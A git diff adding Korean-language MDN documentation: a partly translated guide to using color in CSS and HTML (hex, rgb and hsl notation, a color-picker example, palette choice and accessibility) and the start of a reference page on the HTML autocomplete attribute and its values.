+ <dt><code>"#rgb"</code></dt>
+ <dd>완전히 불투명한 색을 지정합니다. 구성 요소 중 빨강은 16진수 <code>0xrr</code>, 초록은 <code>0xgg</code>, 파랑은 <code>0xbb</code>입니다.</dd>
+ <dt><code>"#rgba"</code></dt>
+ <dd>구성 요소 중 빨강은 16진수 <code>0xrr</code>, 초록은 <code>0xgg</code>, 파랑은 <code>0xbb</code>인 색을 지정합니다. 알파 채널의 값은 <code>0xaa</code>로, 값이 낮을 수록 색은 더 투명해집니다.</dd>
+</dl>
+
+<p>예를 하나 들자면 불투명한 파랑은 <code>"#0000ff"</code>이나 <code>"#00f"</code>로 표현할 수 있습니다. 25%만 불투명한 파랑으로 만들 땐 <code>"#0000ff44"</code> 또는 <code>"#00f4"</code>로 표기합니다.</p>
+
+<h4 id="RGB_함수형_표기법">RGB 함수형 표기법</h4>
+
+<p>16진수 문자열 표기법과 같이, RGB(Red/Green/Blue) 함수 표기법은 빨강, 초록, 파랑, 그리고 불투명도를 나타낼 선택적 알파 채널 구성요소를 사용해 색을 나타냅니다. 그러나 문자열 표기법과 달리 CSS 함수 {{cssxref("color_value", "rgb()", "#rgb()")}}를 사용합니다. <code>rgb()</code> 함수의 세 매개변수는 순서대로 빨강, 파랑, 초록 값이며, 생략 가능한 마지막 네 번째 매개변수가 알파 채널을 나타냅니다.</p>
+
+<p>각 매개변수의 유효한 값은 다음과 같습니다.</p>
+
+<dl>
+ <dt><code>red</code>, <code>green</code>, <code>blue</code></dt>
+ <dd>각각 0 이상, 255 이하인 {{cssxref("&lt;integer&gt;")}}이거나, 또는 0% 이상 100% 이하인 {{cssxref("&lt;percentage&gt;")}}여야 합니다.</dd>
+ <dt><code>alpha</code></dt>
+ <dd>0.0(완전히 투명) 이상, 1.0(완전히 불투명) 이하의 숫자여야 합니다. 백분율도 사용할 수 있으며, 0%는 0.0, 100%는 1.0에 대응합니다.</dd>
+</dl>
+
+<p>예를 들어, 50% 불투명도의 밝은 빨강은 <code>rgb(255, 0, 0, 0.5)</code>와 <code>rgb(100%, 0, 0, 50%)</code> 두 방법으로 만들 수 있습니다.</p>
+
+<h3 id="HSL_함수형_표기법">HSL 함수형 표기법</h3>
+
+<p>많은 경우, 디자이너와 아티스트는 HSL(색조/채도/명도) 모델을 사용한 색을 선호합니다. 웹에서 HSL 색상은 HSL 함수 표기법을 사용해 나타냅니다. CSS <code>hsl()</code> 함수의 사용법 자체는 <code>rgb()</code> 함수와 매우 유사합니다.</p>
+
+<div style="padding-bottom: 20px;">
+<figure style="width: 500px;"><img alt="HSL color cylinder" src="https://mdn.mozillademos.org/files/15445/1200px-HSL_color_solid_cylinder_alpha_lowgamma.png" style="height: 375px; width: 500px;">
+<figcaption><strong>그림 1. HSL 색 원기둥.</strong> Hue defines the actual color based on the position along a circular color wheel representing the colors of the visible spectrum. Saturation is a percentage of how much of the way between being a shade of gray and having the maximum possible amount of the given hue. As the value of luminance (or lightness) increases, the color transitions from the darkest possible to the brightest possible (from black to white). <a href="https://www.wikipedia.org/">Wikipedia</a>의 <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a>, <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> 라이선스 아래에서 재배포.</figcaption>
+</figure>
+</div>
+
+<p>The value of the hue (H) component of an HSL color is an angle from red around through yellow, green, cyan, blue, and magenta (ending up back at red again at 360°) that identifies what the base color is. The value can be specified in any {{cssxref("&lt;angle&gt;")}} unit supported by CSS, including degrees (<code>deg</code>), radians (<code>rad</code>), gradians (<code>grad</code>), or turns (<code>turn</code>). But this doesn't control how vivid or dull, or how bright or dark the color is.</p>
+
+<p>The saturation (S) component of the color specifies what percentage of the final color is comprised of the specified hue. The rest is defined by the grey level provided by the luminance (L) component.</p>
+
+<p>Think of it like creating the perfect paint color:</p>
+
+<ol>
+ <li>You start with base paint that's the maximum intensity possible for a given color, such as the most intense blue that can be represented by the user's screen. This is the <strong>hue</strong> (H) component: a value representing the angle around the color wheel for the vivid hue we want to use as our base.</li>
+ <li>Then select a greyscale paint that corresponds how bright you want the color to be; this is the luminance. Do you want it to be very bright and nearly white, or very dark and closer to black, or somewhere in between? This is specified using a percentage, where 0% is perfectly black and 100% is perfectly white. (regardless of the saturation or hue). In between values are a literal grey area.</li>
+ <li>Now that you have a grey paint and a perfectly vivid color, you need to mix them together. The saturation (S) component of the color indicates what percentage of the final color should be comprised of that perfectly vivid color. The rest of the final color is made up of the grey paint that represents the saturation.</li>
+</ol>
+
+<p>You can also optionally include an alpha channel, to make the color less than 100% opaque.</p>
+
+<p>Here are some sample colors in HSL notation:</p>
+
+<div id="hsl-swatches">
+<div class="hidden">
+<pre class="brush: css">table {
+  border: 1px solid black;
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+  border-spacing: 0;
+  border-collapse: collapse;
+}
+
+th, td {
+  border: 1px solid black;
+  padding:4px 6px;
+  text-align: left;
+}
+
+th {
+  background-color: hsl(0, 0%, 75%);
+}</pre>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;thead&gt;
+  &lt;tr&gt;
+   &lt;th scope="col"&gt;Color in HSL notation&lt;/th&gt;
+   &lt;th scope="col"&gt;Example&lt;/th&gt;
+  &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(90deg, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(90deg, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(90, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(90, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 50%, 75%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 50%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 75%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 90%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(270deg, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(270deg, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("hsl-swatches", 300, 260)}}</p>
+</div>
+
+<div class="note">
+<p>Note that when you omit the hue's unit, it's assumed to be in degrees (<code>deg</code>).</p>
+</div>
+
+<h2 id="색_사용하기">색 사용하기</h2>
+
+<p>Now that you know what CSS properties exist that let you apply color to elements and the formats you can use to describe colors, you can put this together to begin to make use of color. As you may have seen from the list under {{anch("Things that can have color")}}, there are plenty of things you can color with CSS. Let's look at this from two sides: using color within a {{Glossary("stylesheet")}}, and adding and changing color using {{Glossary("JavaScript")}} code to alter the styles of elements.</p>
+
+<h3 id="스타일_시트에_색_지정하기">스타일 시트에 색 지정하기</h3>
+
+<p>The easiest way to apply color to elements—and the way you'll usually do it—is to simply specify colors in the CSS that's used when rendering elements. While we won't use every single property mentioned previously, we'll look at a couple of examples. The concept is the same anywhere you use color.</p>
+
+<p>Let's take a look at an example, starting by looking at the results we're trying to achieve:</p>
+
+<div>{{EmbedLiveSample("Specifying_colors_in_stylesheets", 650, 150)}}</div>
+
+<h4 id="HTML">HTML</h4>
+
+<p>The HTML responsible for creating the above example is shown here:</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box boxLeft"&gt;
+    &lt;p&gt;
+      This is the first box.
+    &lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div class="box boxRight"&gt;
+    &lt;p&gt;
+      This is the second box.
+    &lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>This is pretty simple, using a {{HTMLElement("div")}} as a wrapper around the contents, which consists of two more <code>&lt;div&gt;</code>s, each styled differently with a single paragraph ({{HTMLElement("p")}}) in each box.</p>
+
+<p>The magic happens, as usual, in the CSS, where we'll apply colors define the layout for the HTML above.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<p>We'll look at the CSS to create the above results a piece at a time, so we can review the interesting parts one by one.</p>
+
+<pre class="brush: css">.wrapper {
+  width: 620px;
+  height: 110px;
+  margin: 0;
+  padding: 10px;
+  border: 6px solid mediumturquoise;
+}</pre>
+
+<p>The <code>.wrapper</code> class is used to assign styles to the {{HTMLElement("div")}} that encloses all of our other content. This establishes thesize of the container using {{cssxref("width")}} and {{cssxref("height")}} as well as its {{cssxref("margin")}} and {{cssxref("padding")}}.</p>
+
+<p>Of more interest to our discussion here is the use of the {{cssxref("border")}} property to establish a border around the outside edge of the element. This border is a solid line, 6 pixels wide, in the color <code>mediumturquoise</code>.</p>
+
+<p>Our two colored boxes share a number of properties in common, so next we establish a class, <code>.box</code>, that defines those shared properties:</p>
+
+<pre class="brush: css">.box {
+  width: 290px;
+  height: 100px;
+  margin: 0;
+  padding: 4px 6px;
+  font: 28px "Marker Felt", "Zapfino", cursive;
+  display: flex;
+  justify-content: center;
+  align-items: center;
+}</pre>
+
+<p>In brief, <code>.box</code> establishes the size of each box, as well as the configuration of the font used within. We also take advantage of <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a> to easily center the contents of each box. We enable <code>flex</code> mode using {{cssxref("display", "display: flex")}}, and set both {{cssxref("justify-content")}} and {{cssxref("align-items")}} to <code>center</code>. Then we can create a class for each of the two boxes that defines the properties that differ between the two.</p>
+
+<pre class="brush: css">.boxLeft {
+  float: left;
+  background-color: rgb(245, 130, 130);
+  outline: 2px solid darkred;
+}</pre>
+
+<p>The <code>.boxLeft</code> class—which, cleverly, is used to style the box on the left—floats the box to the left, then sets up the colors:</p>
+
+<ul>
+ <li>The box's background color is set by changing the value of the CSS {{cssxref("background-color")}} property to <code>rgb(245, 130, 130)</code>.</li>
+ <li>An outline is defined for the box. Unlike the more commonly used <code>border</code>, {{cssxref("outline")}} doesn't affect layout at all; it draws over the top of whatever may happen to be outside the element's box instead of making room as <code>border</code> does. This outline is a solid, dark red line that's two pixels thick. Note the use of the <code>darkred</code> keyword when specifying the color.</li>
+ <li>Notice that we're not explicitly setting the text color. That means the value of {{cssxref("color")}} will be inherited from the nearest containing element that defines it. By default, that's black.</li>
+</ul>
+
+<pre class="brush: css">.boxRight {
+  float: right;
+  background-color: hsl(270deg, 50%, 75%);
+  outline: 4px dashed rgb(110, 20, 120);
+  color: hsl(0deg, 100%, 100%);
+  text-decoration: underline wavy #88ff88;
+  text-shadow: 2px 2px 3px black;
+}</pre>
+
+<p>Finally, the <code>.boxRight</code> class describes the unique properties of the box that's drawn on the right. It's configured to float the box to the right so that it appears next to the previous box. Then the following colors are established:</p>
+
+<ul>
+ <li>The <code>background-color</code> is set using the HSL value specified using <code>hsl(270deg, 50%, 75%)</code>. This is a medium purple color.</li>
+ <li>The box's <code>outline</code> is used to specify that the box should be enclosed in a four pixel thick dashed line whose color is a somewhat deeper purple (<code>rgb(110, 20, 120)</code>).</li>
+ <li>The foreground (text) color is specified by setting the {{cssxref("color")}} property to <code>hsl(0deg, 100%, 100%)</code>. This is one of many ways to specify the color white.</li>
+ <li>We add a green wavy line under the text with {{cssxref("text-decoration")}}.</li>
+ <li>Finally, a bit of a shadow is added to the text using {{cssxref("text-shadow")}}. Its <code>color</code> parameter is set to <code>black</code>.</li>
+</ul>
+
+<h2 id="사용자의_색_선택">사용자의 색 선택</h2>
+
+<p>There are many situations in which your web site may need to let the user select a color. Perhaps you have a customizable user interface, or you're implementing a drawing app. Maybe you have editable text and need to let the user choose the text color. Or perhaps your app lets the user assign colors to folders or items. Although historically it's been necessary to implement your own {{interwiki("wikipedia", "color picker")}}, HTML now provides support for browsers to provide one for your use through the {{HTMLElement("input")}} element, by using <code>"color"</code> as the value of its {{htmlattrxref("type", "input")}} attribute.</p>
+
+<p>The <code>&lt;input&gt;</code> element represents a color only in the {{anch("Hexadecimal string notation", "hexadecimal string notation")}} covered above.</p>
+
+<h3 id="예제_색_선택하기">예제: 색 선택하기</h3>
+
+<p>Let's look at a simple example, in which the user can choose a color. As the user adjusts the color, the border around the example changes to reflect the new color. After finishing up and picking the final color, the color picker's value is displayed.</p>
+
+<p>{{EmbedLiveSample("Example_Picking_a_color", 525, 275)}}</p>
+
+<div class="note">
+<p>On macOS, you indicate that you've finalized selection of the color by closing the color picker window.</p>
+</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>The HTML here creates a box that contains a color picker control (with a label created using the {{HTMLElement("label")}} element) and an empty paragraph element ({{HTMLElement("p")}}) into which we'll output some text from our JavaScript code.</p>
+
+<pre class="brush: html">&lt;div id="box"&gt;
+  &lt;label for="colorPicker"&gt;Border color:&lt;/label&gt;
+  &lt;input type="color" value="#8888ff" id="colorPicker"&gt;
+  &lt;p id="output"&gt;&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<p>The CSS simply establishes a size for the box and some basic styling for appearances. The border is also established with a 2-pixel width and a border color that won't last, courtesy of the JavaScript below...</p>
+
+<pre class="brush: css">#box {
+  width: 500px;
+  height: 200px;
+  border: 2px solid rgb(245, 220, 225);
+  padding: 4px 6px;
+  font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the <code><a href="/en-US/docs/Web/HTML/Element/input/color">&lt;input type="color"&gt;</a></code> element.</p>
+
+<pre class="brush: js">let colorPicker = document.getElementById("colorPicker");
+let box = document.getElementById("box");
+let output = document.getElementById("output");
+
+box.style.borderColor = colorPicker.value;
+
+colorPicker.addEventListener("input", function(event) {
+  box.style.borderColor = event.target.value;
+}, false);
+
+colorPicker.addEventListener("change", function(event) {
+  output.innerText = "Color set to " + colorPicker.value + ".";
+}, false);</pre>
+
+<p>The {{event("input")}} event is sent every time the value of the element changes; that is, every time the user adjusts the color in the color picker. Each time this event arrives, we set the box's border color to match the color picker's current value.</p>
+
+<p>The {{event("change")}} event is received when the color picker's value is finalized. We respond by setting the contents of the <code>&lt;p&gt;</code> element with the ID <code>"output"</code> to a string describing the finally selected color.</p>
+
+<h2 id="현명하게_색_고르기">현명하게 색 고르기</h2>
+
+<p>Making the right choices when selecting colors when designing a web site can be a tricky process, especially if you aren't well-grounded in art, design, or at least basic color theory. The wrong color choice can render your site unattractive, or even worse, leave the content unreadable due to problems with contrast or conflicting colors. Worse still, if using the wrong colors can result in your content being outright unusable by people withcertain vision problems, particularly color blindness.</p>
+
+<h3 id="적절한_색_찾기">적절한 색 찾기</h3>
+
+<p>Coming up with just the right colors can be tricky, especially without training in art or design. Fortunately, there are tools available that can help you. While they can't replace having a good designer helping you make these decisions, they can definitely get you started.</p>
+
+<h4 id="기본색">기본색</h4>
+
+<p>The first step is to choose your <strong>base color</strong>. This is the color that in some way defines your web site or the subject matter of the site. Just as we associate green with the beverage {{interwiki("wikipedia", "Mountain Dew")}} and one might think of the color blue in relationship with the sky or the ocean, choosing an appropriate base color to represent your site is a good place to start. There are plenty of ways to select a base color; a few ideas include:</p>
+
+<ul>
+ <li>A color that is naturally associated with the topic of your content, such as the existing color identified with a product or idea or a color representative of the emotion you wish to convey.</li>
+ <li>A color that comes from imagery associated with what your content is about. If you're creating a web site about a given item or product, choose a color that's physically present on that item.</li>
+ <li>Browse web sites that let you look at lots of existing color palettes and images to find inspiration.</li>
+</ul>
+
+<p>When trying to decide upon a base color, you may find that browser extensions that let you select colors from web content can be particularly handy. Some of these are even specifically designed to help with this sort of work. For example, the web site <a href="http://www.colorzilla.com/">ColorZilla</a> offers an extension (<a href="http://www.colorzilla.com/chrome">Chrome</a> / <a href="http://www.colorzilla.com/firefox">Firefox</a>) that offers an eyedropper tool for picking colors from the web. It can also take averages of the colors of pixels in various sized areas or even a selected area of the page.</p>
+
+<div class="note">
+<p>The advantage to averaging colors can be that often what looks like a solid color is actually a surprisingly varied number of related colors all used in concert, blending to create a desired effect. Picking just one of these pixels can result in getting a color that on its own looks very out of place.</p>
+</div>
+
+<h4 id="팔레트_다듬기">팔레트 다듬기</h4>
+
+<p>Once you have decided on your base color, there are plenty of online tools that can help you build out a palette of appropriate colors to use along with your base color by applying color theory to your base color to determine appropriate added colors. Many of these tools also support viewing the colors filtered so you can see what they would look like to people with various forms of color blindness. See {{anch("Color and accessibility")}} for a brief explanation of why this matters.</p>
+
+<p>A few examples (all free to use as of the time this list was last revised):</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool">MDN's color picker tool</a></li>
+ <li><a href="http://paletton.com">Paletton</a></li>
+ <li><a href="https://color.adobe.com/create/color-wheel">Adobe Color CC online color wheel</a></li>
+</ul>
+
+<p>When designing your palette, be sure to keep in mind that in addition to the colors these tools typically generate, you'll probably also need to add some core neutral colors such as white (or nearly white), black (or nearly black), and some number of shades of gray.</p>
+
+<div class="note">
+<p>Usually, you are far better off using the smallest number of colors possible. By using color to accentuate rather than adding color to everything on the page, you keep your content easy to read and the colors you do use have far more impact.</p>
+</div>
+
+<h3 id="색채이론_관련_자료">색채이론 관련 자료</h3>
+
+<p>A full review of color theory is beyond the scope of this article, but there are plenty of articles about color theory available, as well as courses you can find at nearby schools and universities. A couple of useful resources about color theory:</p>
+
+<dl>
+ <dt><a href="https://www.khanacademy.org/partner-content/pixar/color">Color Science</a> (<a href="https://www.khanacademy.org/">Khan Academy</a> in association with <a href="https://www.pixar.com/">Pixar</a>)</dt>
+ <dd>An online course which introduces concepts such as what color is, how it's percieved, and how to use colors to express ideas. Presented by Pixar artists and designers.</dd>
+ <dt>{{interwiki("wikipedia", "Color theory")}} on Wikipedia</dt>
+ <dd>Wikipedia's entry on color theory, which has a lot of great information from a technical perspective. It's not really a resource for helping you with the color sleection process, but is still full of useful information.</dd>
+</dl>
+
+<h3 id="색과_접근성">색과 접근성</h3>
+
+<p>There are several ways color can be an {{Glossary("accessibility")}} problem. Improper or careless use of color can result in a web site or app that a percentage of your target audience may not be able to use adequately, resulting in lost traffic, lost business, and possibly even a public relations problem. So it's important to consider your use of color carefully.</p>
+
+<p>You should do at least basic research into {{interwiki("wikipedia", "color blindness")}}. There are several kinds; the most common is red-green color blindness, which causes people to be unable to differentiate between the colors red and green. There are others, too, ranging from inabilities to tell the difference between certain colors to total inability to see color at all.</p>
+
+<div class="note">
+<p>The most important rule: never use color as the only way to know something. If, for example, you indicate success or failure of an operation by changing the color of a shape from white to green for success and red for failure, users with red-green color-blindness won't be able to use your site properly. Instead, perhaps use both text and color together, so that everyone can understand what's happening.</p>
+</div>
+
+<p>For more information about color blindness, see the following articles:</p>
+
+<ul>
+ <li><a href="https://medlineplus.gov/colorblindness.html">Medline Plus: Color Blindness</a> (United States National Institute of Health)</li>
+ <li><a href="https://www.aao.org/eye-health/diseases/what-is-color-blindness">American Academy of Ophthamology: What Is Color Blindness?</a></li>
+ <li><a href="https://www.usability.gov/get-involved/blog/2010/02/color-blindness.html">Color Blindness &amp; Web Design</a> (Usability.gov: United States Department of Health and Human Services)</li>
+</ul>
+
+<h3 id="팔레트_디자인_예제">팔레트 디자인 예제</h3>
+
+<p>Let's consider a quick example of selecting an appropriate color palette for a site. Imagine that you're building a web site for a new game that takes place on the planet Mars. So let's do a <a href="https://www.google.com/search?q=Mars&amp;tbm=isch">Google search for photos of Mars</a>. Lots of good examples of Martian coloration there. We carefully avoid the mockups and the photos from movies. And we decide to use a photo taken by one of the Mars landers humanity has parked on the surface over the last few decades, since the game takes place on the planet's surface. We use a color picker tool to select a sample of the color we choose.</p>
+
+<p>Using an eyedropper tool, we identify a color we like and determine that the color in question is <code>#D79C7A</code>, which is an appropriate rusty orange-red color that's so stereotypical of the Martian surface.</p>
+
+<p>Having selected our base color, we need to build out our palette. We decide to use <a href="http://www.paletton.com/">Paletton</a> to come up with the other colors we need. Upon opening Paletton, we see:</p>
+
+<p><img alt="Right after loading Paletton." src="https://mdn.mozillademos.org/files/15451/paletton1.png" style="height: 361px; width: 600px;"></p>
+
+<p>Next, we enter our color's hex code (<code>D79C7A</code>) into the "Base RGB" box at the bottom-left corner of the tool:</p>
+
+<p><img alt="After entering base color" src="https://mdn.mozillademos.org/files/15453/paletton2.png" style="height: 361px; width: 600px;"></p>
+
+<p>We now see a monochromatic palette based on the color we picked from the Mars photo. If you need a lot of related colors for some reason, those are likely to be good ones. But what we really want is an accent color. Something that will pop along side the base color. To find that, we click the "add complementary" toggle underneath the menu that lets you select the palette type (currently "Monochromatic"). Paletton computes an appropriate accent color; clicking on the accent color down in the bottom-right corner tells us that this color is <code>#508D7C</code>.</p>
+
+<p><img alt="Now with complementary colors included." src="https://mdn.mozillademos.org/files/15455/paletton3.png" style="height: 361px; width: 600px;"></p>
+
+<p>If you're unhappy with the color that's proposed to you, you can change the color scheme, to see if you find something you like better. For example, if we don't like the proposed greenish-blue color, we can click the Triad color scheme icon, which presents us with the following:</p>
+
+<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15457/paletton4.png" style="height: 361px; width: 600px;"></p>
+
+<p>That greyish blue in the top-right looks pretty good. Clicking on it, we find that it's <code>#556E8D</code>. That would be used as the accent color, to be used sparingly to make things stand out, such as in headlines or in the highlighting of tabs or other indicators on the site:</p>
+
+<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15459/paletton-color-detail.png" style="height: 370px; width: 526px;"></p>
+
+<p>Now we have our base color and our accent. On top of that, we have a few complementary shades of each, just in case we need them for gradients and the like. The colors can then be exported in a number of formats so you can make use of them.</p>
+
+<p>Once you have these colors, you will probably still need to select appropriate neutral colors. Common design practice is to try to find the sweet spot where there's just enough contrast that the text is crisp and readable but not enough contrast to become harsh for the eyes. It's easy to go too far in one way or another so be sure to get feedback on your colors once you've selected them and have examples of them in use available. If the contrast is too low, your text will tend to be washed out by the background, leaving it unreadable, but if your contrast is too high, the user may find your site garish and unpleasant to look at.</p>
+
+<h3 id="색_배경_대비_출력">색, 배경, 대비, 출력</h3>
+
+<p>What looks good on screen may look very different on paper. In addition, ink can be expensive, and if a user is printing your page, they don't necessarily need all the backgrounds and such using up their precious ink when all that matters is the text itself. Most browsers, by default, remove background images when printing documents.</p>
+
+<p>If your background colors and images have been selected carefully and/or are crucial to the usefulness of the content, you can use the CSS {{cssxref("color-adjust")}} property to tell the browser that it should not make adjustments to the appearance of content.</p>
+
+<p>The default value of <code>color-adjust</code>, <code>economy</code>, indicates that the browser is allowed to make appearance changes as it deems necessary in order to try to optimize the legibility and/or print economy of the content, given the type of output device the document is being drawn onto.</p>
+
+<p>You can set <code>color-adjust</code> to <code>exact</code> to tell the browser that the element or elements on which you use it have been designed specifically to best work with the colors and images left as they are. With this set, the browser won't tamper with the appearance of the element, and will draw it as indicated by your CSS.</p>
+
+<div class="note">
+<p><strong>참고:</strong> There is no guarantee, though, that <code>color-adjust: exact</code> will result in your CSS being used exactly as given. If the browser provides user preferences to change the output (such as a "don't print backgrounds" checkbox in a print dialog box), that overrides the value of <code>color-adjust</code>.</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li>
+ <li><a href="/ko/docs/Web/Guide/Graphics">웹 그래픽</a></li>
+</ul>
diff --git a/files/ko/web/html/attributes/autocomplete/index.html b/files/ko/web/html/attributes/autocomplete/index.html
new file mode 100644
index 0000000000..50c8de42f9
--- /dev/null
+++ b/files/ko/web/html/attributes/autocomplete/index.html
@@ -0,0 +1,247 @@
+---
+title: HTML autocomplete 특성
+slug: Web/HTML/Attributes/autocomplete
+tags:
+  - Attribute
+  - HTML
+  - Reference
+  - 자동완성
+translation_of: Web/HTML/Attributes/autocomplete
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><strong><code>autocomplete</code></strong> 특성을 사용하면 {{glossary("user agent", "사용자 에이전트")}}의 자동완성을 허용할 양식 입력 필드를 지정할 수 있으며, 사용자 에이전트에게 어떤 정보에 대한 자동완성을 원하는지 안내할 수도 있습니다.</span> HTML <code>autocomplete</code> 특성은 텍스트와 숫자를 허용하는 {{HTMLElement("input")}} 요소, {{HTMLElement("textarea")}} 요소, {{HTMLElement("select")}} 요소, {{HTMLElement("form")}} 요소에 사용할 수 있습니다.</p>
+
+<p>자동완성으로 제안할 값의 출처는 대개 브라우저가 선택합니다. 사전 정의된 값을 사용할 수도 있으나 보통 과거에 사용자가 입력했던 값을 사용합니다. 예를 들어 사용자가 입력한 이름, 주소, 전화번호, 이메일 주소를 브라우저에 저장할 방법을 제공하기도 하고, 신용카드 정보를 미리 암호화해 저장하고 인증절차 후 자동완성 값으로 쓸 수도 있습니다.</p>
+
+<p>{{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}} 요소에 <code>autocomplete</code> 특성을 지정하지 않은 경우, 브라우저는 요소의 양식 소유자, 즉 조상 {{HTMLElement("form")}} 요소 또는 {{htmlattrxref("form", "input")}} 특성의 값을 <code>id</code> 특성으로 사용하는 <code>&lt;form&gt;</code> 요소의 <code>autocomplete</code> 특성을 사용합니다.</p>
+
+<p>더 많은 정보는 {{HTMLElement("form")}} 요소의 {{htmlattrxref("autocomplete", "form")}} 특성을 참고하세요.</p>
+
+<div class="blockIndicator note">
+<p><code>&lt;input&gt;</code>/<code>&lt;select&gt;</code>/<code>&lt;textarea&gt;</code> 요소가 다음 조건을 만족해야 사용자 에이전트가 자동완성을 제공할 수도 있습니다.</p>
+
+<ol>
+ <li><code>name</code> 또는 <code>id</code> 특성 존재</li>
+ <li><code>&lt;form&gt;</code> 요소의 자손일 것</li>
+ <li>양식에 {{HTMLElement("input/submit", "제출")}} 버튼이 있을 것</li>
+</ol>
+</div>
+
+<h2 id="값">값</h2>
+
+<dl>
+ <dt><code>off</code></dt>
+ <dd>브라우저가 이 필드에 값을 자동으로 넣는 것을 금지합니다. 문서나 애플리케이션이 자신만의 자동완성 기능을 구현하거나, 보안상 문제로 자동완성을 사용하지 않아야 할 경우 지정할 수 있습니다.
+ <div class="note"><strong>참고:</strong> 대부분의 최신 브라우저에서는 <code>autocomplete</code>을 <code>off</code>로 지정하더라도 브라우저가 사용자에게 계정 이름과 비밀번호 저장 여부를 묻는 것을 막을 수 없으며, 저장한 값을 사용해 자동완성하는 것도 막을 수 없습니다. <a href="/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#The_autocomplete_attribute_and_login_fields">The autocomplete attribute and login fields</a> 문서를 참고하세요.</div>
+ </dd>
+ <dt><code>on</code></dt>
+ <dd>브라우저의 자동완성을 허용합니다. 아무런 안내 정보도 제공하지 않으므로, 브라우저가 스스로의 판단 하에 값을 결정합니다.</dd>
+ <dt><code>name</code></dt>
+ <dd>사람의 전체 이름. 사람 이름 구조의 복잡함과 다양성으로 인해 보통 개별 이름 구성요소보다 <code>name</code>을 사용하는 것을 선호하지만, 하나씩 받아야 한다면 다음 <code>autocomplete</code> 값도 사용할 수 있습니다.
+ <dl>
+  <dt><code>honorific-prefix</code></dt>
+  <dd>호칭. "Mrs.", "Mr.", "Miss", "Ms.", "Dr.", "Mlle." 등.</dd>
+  <dt><code>family-name</code></dt>
+  <dd>성.</dd>
+  <dt><code>given-name</code></dt>
+  <dd>이름.</dd>
+  <dt><code>additional-name</code></dt>
+  <dd>가운데 이름.</dd>
+  <dt><code>honorific-suffix</code></dt>
+  <dd>접미사. "Jr.", "B.Sc.", "PhD.", "MBASW", "IV" 등.</dd>
+  <dt><code>nickname</code></dt>
+  <dd>별명, 별칭.</dd>
+ </dl>
+ </dd>
+ <dt><code>email</code></dt>
+ <dd>이메일 주소.</dd>
+ <dt><code>username</code></dt>
+ <dd>사용자 또는 계정 이름.</dd>
+ <dt><code>new-password</code></dt>
+ <dd>새로운 비밀번호. 계정을 생성할 때나 비밀번호를 변경할 때, new-password는 "새로운 비밀번호를 입력하세요" 또는 "비밀번호 확인"에 지정해야 합니다. 일반적인 비밀번호와 구분하는 이유는 브라우저가 기존 비밀번호를 자동완성으로 채우는 것을 피하기 위함이며, 안전한 무작위 비밀번호 생성을 제안할 곳을 결정할 때도 사용하기 때문입니다.</dd>
+ <dt><code>current-password</code></dt>
+ <dd>사용자의 현재 비밀번호.</dd>
+ <dt><code>one-time-code</code></dt>
+ <dd>사용자를 인증할 때 사용하는 1회성 코드.</dd>
+ <dt><code>organization-title</code></dt>
+ <dd>직위. "사장", "매니저", "시니어 테크니컬 커뮤니케이터" 등.</dd>
+ <dt><code>organization</code></dt>
+ <dd>회사 또는 조직명.</dd>
+ <dt><code>street-address</code></dt>
